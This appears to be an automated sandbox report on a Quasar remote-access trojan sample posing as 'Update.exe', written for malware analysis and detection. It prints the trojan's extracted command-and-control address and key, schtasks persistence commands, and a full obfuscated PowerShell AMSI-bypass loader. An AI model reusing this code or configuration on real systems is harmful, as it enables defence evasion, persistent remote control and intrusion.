Analysis
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max time kernel
58s -
max time network
56s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
21-04-2024 16:56
Behavioral task
behavioral1
Sample
Update.exe
Resource
win10-20240404-en
Errors
General
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Target
Update.exe
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Size
409KB
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MD5
ed68b64af85a06a4d3edfb0eedbd5a00
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SHA1
668dbc4990b0a1cdd2f0c254f41b539e9b69afc1
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SHA256
347776cb31b6dfbb5a5cbb39e617b3913b8af8a0a826468b7e0df3b4738fc184
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SHA512
7555b7ff4534f0549f35f14b47f8a75509801e4c87e3740aaae20cf6c291b1e17e8a4f833e05d73e2a39471e93a63b75d5513e999850a840ac58a38d656990be
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SSDEEP
6144:nrBdTMOznI2U/rgSuXfh+8sopVpkG9YiLLLKItKbFrJCBzzFd3MI:oynI2UeXfh+X+5YiPLKItwyRd3MI
Malware Config
Extracted
quasar
3.1.5
SLAVE
147.185.221.19:33587
$Sxr-GdUyI5k46zQj7thBLl
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encryption_key
y0X14czHxU2CjCZoALAD
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install_name
BiosUpdX64.exe
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log_directory
$sxr
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reconnect_delay
3000
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startup_key
$sxr-metsha
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subdirectory
Windows
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/3360-0-0x0000000000690000-0x00000000006FC000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 1184 created 636 1184 powershell.EXE winlogon.exe -
Executes dropped EXE 2 IoCs
Processes:
BiosUpdX64.exeInstall.exepid process 4356 BiosUpdX64.exe 2140 Install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 2 IoCs
Processes:
powershell.EXEdescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 1184 set thread context of 232 1184 powershell.EXE dllhost.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeSCHTASKS.exepid process 5064 schtasks.exe 1436 schtasks.exe 1940 SCHTASKS.exe -
Modifies data under HKEY_USERS 41 IoCs
Processes:
powershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.EXEdllhost.exepid process 1184 powershell.EXE 1184 powershell.EXE 1184 powershell.EXE 232 dllhost.exe 232 dllhost.exe 232 dllhost.exe 232 dllhost.exe -
Suspicious behavior: LoadsDriver 13 IoCs
Processes:
pid process 276 1796 4496 1240 3208 3012 4156 3220 848 4712 4692 2544 1956 -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
Update.exeBiosUpdX64.exepowershell.EXEdllhost.exedescription pid process Token: SeDebugPrivilege 3360 Update.exe Token: SeDebugPrivilege 4356 BiosUpdX64.exe Token: SeDebugPrivilege 1184 powershell.EXE Token: SeDebugPrivilege 1184 powershell.EXE Token: SeDebugPrivilege 232 dllhost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
BiosUpdX64.exepid process 4356 BiosUpdX64.exe -
Suspicious use of WriteProcessMemory 61 IoCs
Processes:
Update.exeBiosUpdX64.exepowershell.EXEdllhost.exelsass.exesvchost.exedescription pid process target process PID 3360 wrote to memory of 5064 3360 Update.exe schtasks.exe PID 3360 wrote to memory of 5064 3360 Update.exe schtasks.exe PID 3360 wrote to memory of 5064 3360 Update.exe schtasks.exe PID 3360 wrote to memory of 4356 3360 Update.exe BiosUpdX64.exe PID 3360 wrote to memory of 4356 3360 Update.exe BiosUpdX64.exe PID 3360 wrote to memory of 4356 3360 Update.exe BiosUpdX64.exe PID 4356 wrote to memory of 1436 4356 BiosUpdX64.exe schtasks.exe PID 4356 wrote to memory of 1436 4356 BiosUpdX64.exe schtasks.exe PID 4356 wrote to memory of 1436 4356 BiosUpdX64.exe schtasks.exe PID 3360 wrote to memory of 2140 3360 Update.exe Install.exe PID 3360 wrote to memory of 2140 3360 Update.exe Install.exe PID 3360 wrote to memory of 2140 3360 Update.exe Install.exe PID 3360 wrote to memory of 1940 3360 Update.exe SCHTASKS.exe PID 3360 wrote to memory of 1940 3360 Update.exe SCHTASKS.exe PID 3360 wrote to memory of 1940 3360 Update.exe SCHTASKS.exe PID 1184 wrote to memory of 232 1184 powershell.EXE dllhost.exe PID 1184 wrote to memory of 232 1184 powershell.EXE dllhost.exe PID 1184 wrote to memory of 232 1184 powershell.EXE dllhost.exe PID 1184 wrote to memory of 232 1184 powershell.EXE dllhost.exe PID 1184 wrote to memory of 232 1184 powershell.EXE dllhost.exe PID 1184 wrote to memory of 232 1184 powershell.EXE dllhost.exe PID 1184 wrote to memory of 232 1184 powershell.EXE dllhost.exe PID 1184 wrote to memory of 232 1184 powershell.EXE dllhost.exe PID 232 wrote to memory of 636 232 dllhost.exe winlogon.exe PID 232 wrote to memory of 692 232 dllhost.exe lsass.exe PID 692 wrote to memory of 2632 692 lsass.exe sysmon.exe PID 692 wrote to memory of 2632 692 lsass.exe sysmon.exe PID 232 wrote to memory of 992 232 dllhost.exe svchost.exe PID 232 wrote to memory of 424 232 dllhost.exe dwm.exe PID 232 wrote to memory of 752 232 dllhost.exe svchost.exe PID 692 wrote to memory of 2632 692 lsass.exe sysmon.exe PID 232 wrote to memory of 988 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1112 232 dllhost.exe svchost.exe PID 692 wrote to memory of 2632 692 lsass.exe sysmon.exe PID 232 wrote to memory of 1120 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1144 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1204 232 dllhost.exe svchost.exe PID 692 wrote to memory of 2632 692 lsass.exe sysmon.exe PID 232 wrote to memory of 1280 232 dllhost.exe svchost.exe PID 692 wrote to memory of 2632 692 lsass.exe sysmon.exe PID 232 wrote to memory of 1328 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1348 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1404 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1548 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1596 232 dllhost.exe svchost.exe PID 1404 wrote to memory of 2896 1404 svchost.exe sihost.exe PID 1404 wrote to memory of 2896 1404 svchost.exe sihost.exe PID 232 wrote to memory of 1604 232 dllhost.exe svchost.exe PID 1404 wrote to memory of 2200 1404 svchost.exe sihost.exe PID 1404 wrote to memory of 2200 1404 svchost.exe sihost.exe PID 232 wrote to memory of 1692 232 dllhost.exe svchost.exe PID 1404 wrote to memory of 4008 1404 svchost.exe sihost.exe PID 1404 wrote to memory of 4008 1404 svchost.exe sihost.exe PID 1404 wrote to memory of 4684 1404 svchost.exe sihost.exe PID 1404 wrote to memory of 4684 1404 svchost.exe sihost.exe PID 232 wrote to memory of 1708 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1752 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1804 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1836 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1844 232 dllhost.exe svchost.exe PID 232 wrote to memory of 1876 232 dllhost.exe svchost.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f3750ad9-4cb9-4570-85df-1316516c3e38}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:dkHxaQajWUoP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$toYBvSKjiFyQNf,[Parameter(Position=1)][Type]$eJNycSawTL)$ploQdXZbGcn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'el'+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+'S'+''+[Char](101)+''+[Char](97)+'l'+'e'+'d'+','+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s,'+'A'+'u'+'t'+'o'+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$ploQdXZbGcn.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+'me'+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+'i'+''+'g'+','+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$toYBvSKjiFyQNf).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$ploQdXZbGcn.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+'o'+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+'i'+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+',New'+'S'+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+'r'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$eJNycSawTL,$toYBvSKjiFyQNf).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+'M'+'a'+'n'+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $ploQdXZbGcn.CreateType();}$vdfGKxhSRgIdm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+'32.'+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+[Char](78)+'a'+[Char](116)+'i'+'v'+''+[Char](101)+''+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$MPhmvvMOIWPknf=$vdfGKxhSRgIdm.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+'r'+[Char](111)+'cA'+[Char](100)+''+[Char](100)+'r'+'e'+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'ic,'+[Char](83)+'t'+[Char](97)+'tic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xcBBlrHkZQgOuJVwnEf=dkHxaQajWUoP @([String])([IntPtr]);$lmTagmsJIsIKYNJSfXguzp=dkHxaQajWUoP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MygKAgHSIAI=$vdfGKxhSRgIdm.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'er'+'n'+''+'e'+''+'l'+''+'3'+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$FtOBSJilgmdiHq=$MPhmvvMOIWPknf.Invoke($Null,@([Object]$MygKAgHSIAI,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+'yA')));$hxHiGCAlumGduKPMH=$MPhmvvMOIWPknf.Invoke($Null,@([Object]$MygKAgHSIAI,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+'l'+'P'+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+'c'+'t'+'')));$zTsVPuE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FtOBSJilgmdiHq,$xcBBlrHkZQgOuJVwnEf).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$dhZDBSqVfIxjhRxuZ=$MPhmvvMOIWPknf.Invoke($Null,@([Object]$zTsVPuE,[Object]('A'+[Char](109)+'s'+'i'+'Sc'+[Char](97)+''+'n'+'B'+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$WiQVmzucRK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hxHiGCAlumGduKPMH,$lmTagmsJIsIKYNJSfXguzp).Invoke($dhZDBSqVfIxjhRxuZ,[uint32]8,4,[ref]$WiQVmzucRK);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$dhZDBSqVfIxjhRxuZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hxHiGCAlumGduKPMH,$lmTagmsJIsIKYNJSfXguzp).Invoke($dhZDBSqVfIxjhRxuZ,[uint32]8,0x20,[ref]$WiQVmzucRK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\sihost.exesihost.exe2⤵
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C:\Windows\system32\sihost.exesihost.exe2⤵
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C:\Windows\system32\sihost.exesihost.exe2⤵
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C:\Windows\system32\sihost.exesihost.exe2⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
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C:\Users\Admin\AppData\Local\Temp\Update.exe"C:\Users\Admin\AppData\Local\Temp\Update.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-metsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Update.exe" /rl HIGHEST /f2⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe"C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-metsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"2⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Update.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Update.exe'" /sc onlogon /rl HIGHEST2⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\Install.exeFilesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exeFilesize
409KB
MD5ed68b64af85a06a4d3edfb0eedbd5a00
SHA1668dbc4990b0a1cdd2f0c254f41b539e9b69afc1
SHA256347776cb31b6dfbb5a5cbb39e617b3913b8af8a0a826468b7e0df3b4738fc184
SHA5127555b7ff4534f0549f35f14b47f8a75509801e4c87e3740aaae20cf6c291b1e17e8a4f833e05d73e2a39471e93a63b75d5513e999850a840ac58a38d656990be
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C:\Windows\Temp\__PSScriptPolicyTest_jgltipz3.wkf.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/232-40-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/232-47-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/232-51-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/232-41-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/232-48-0x00007FFE7E040000-0x00007FFE7E249000-memory.dmpFilesize
2.0MB
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memory/232-125-0x00007FFE7E040000-0x00007FFE7E249000-memory.dmpFilesize
2.0MB
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memory/232-50-0x00007FFE7CF80000-0x00007FFE7D03D000-memory.dmpFilesize
756KB
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memory/232-43-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/232-39-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/424-136-0x00007FFE7E0E3000-0x00007FFE7E0E4000-memory.dmpFilesize
4KB
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memory/424-91-0x0000025521850000-0x000002552187B000-memory.dmpFilesize
172KB
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memory/424-142-0x00007FFE7E0E6000-0x00007FFE7E0E7000-memory.dmpFilesize
4KB
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memory/636-55-0x0000028453EE0000-0x0000028453F0B000-memory.dmpFilesize
172KB
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memory/636-66-0x00007FFE7E0E4000-0x00007FFE7E0E5000-memory.dmpFilesize
4KB
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memory/636-65-0x0000028453EE0000-0x0000028453F0B000-memory.dmpFilesize
172KB
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memory/636-56-0x0000028453EE0000-0x0000028453F0B000-memory.dmpFilesize
172KB
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memory/636-54-0x0000028453EB0000-0x0000028453ED5000-memory.dmpFilesize
148KB
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memory/692-92-0x00007FFE7E0E4000-0x00007FFE7E0E5000-memory.dmpFilesize
4KB
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memory/692-70-0x0000025293CB0000-0x0000025293CDB000-memory.dmpFilesize
172KB
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memory/692-82-0x0000025293CB0000-0x0000025293CDB000-memory.dmpFilesize
172KB
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memory/692-85-0x00007FFE3E0D0000-0x00007FFE3E0E0000-memory.dmpFilesize
64KB
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memory/692-87-0x00007FFE7E0E3000-0x00007FFE7E0E4000-memory.dmpFilesize
4KB
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memory/692-96-0x00007FFE7E0E6000-0x00007FFE7E0E7000-memory.dmpFilesize
4KB
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memory/752-100-0x000001F9FA6D0000-0x000001F9FA6FB000-memory.dmpFilesize
172KB
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memory/988-107-0x000001D439B00000-0x000001D439B2B000-memory.dmpFilesize
172KB
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memory/992-81-0x000001A93DA60000-0x000001A93DA8B000-memory.dmpFilesize
172KB
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memory/1184-38-0x00007FFE7CF80000-0x00007FFE7D03D000-memory.dmpFilesize
756KB
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memory/1184-37-0x00007FFE7E040000-0x00007FFE7E249000-memory.dmpFilesize
2.0MB
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memory/1184-36-0x0000020D9DA00000-0x0000020D9DA2A000-memory.dmpFilesize
168KB
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memory/1184-35-0x0000020D9D590000-0x0000020D9D5A0000-memory.dmpFilesize
64KB
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memory/1184-120-0x00007FFE7CF80000-0x00007FFE7D03D000-memory.dmpFilesize
756KB
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memory/1184-34-0x0000020D9D590000-0x0000020D9D5A0000-memory.dmpFilesize
64KB
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memory/1184-33-0x0000020D9D590000-0x0000020D9D5A0000-memory.dmpFilesize
64KB
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memory/1184-32-0x0000020D9D670000-0x0000020D9D692000-memory.dmpFilesize
136KB
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memory/1184-67-0x00007FFE5CB90000-0x00007FFE5D652000-memory.dmpFilesize
10.8MB
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memory/1184-23-0x00007FFE5CB90000-0x00007FFE5D652000-memory.dmpFilesize
10.8MB
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memory/1184-104-0x00007FFE7E040000-0x00007FFE7E249000-memory.dmpFilesize
2.0MB
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memory/3360-22-0x0000000074FE0000-0x0000000075791000-memory.dmpFilesize
7.7MB
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memory/3360-4-0x0000000005210000-0x0000000005220000-memory.dmpFilesize
64KB
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memory/3360-1-0x0000000074FE0000-0x0000000075791000-memory.dmpFilesize
7.7MB
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memory/3360-2-0x00000000056F0000-0x0000000005C96000-memory.dmpFilesize
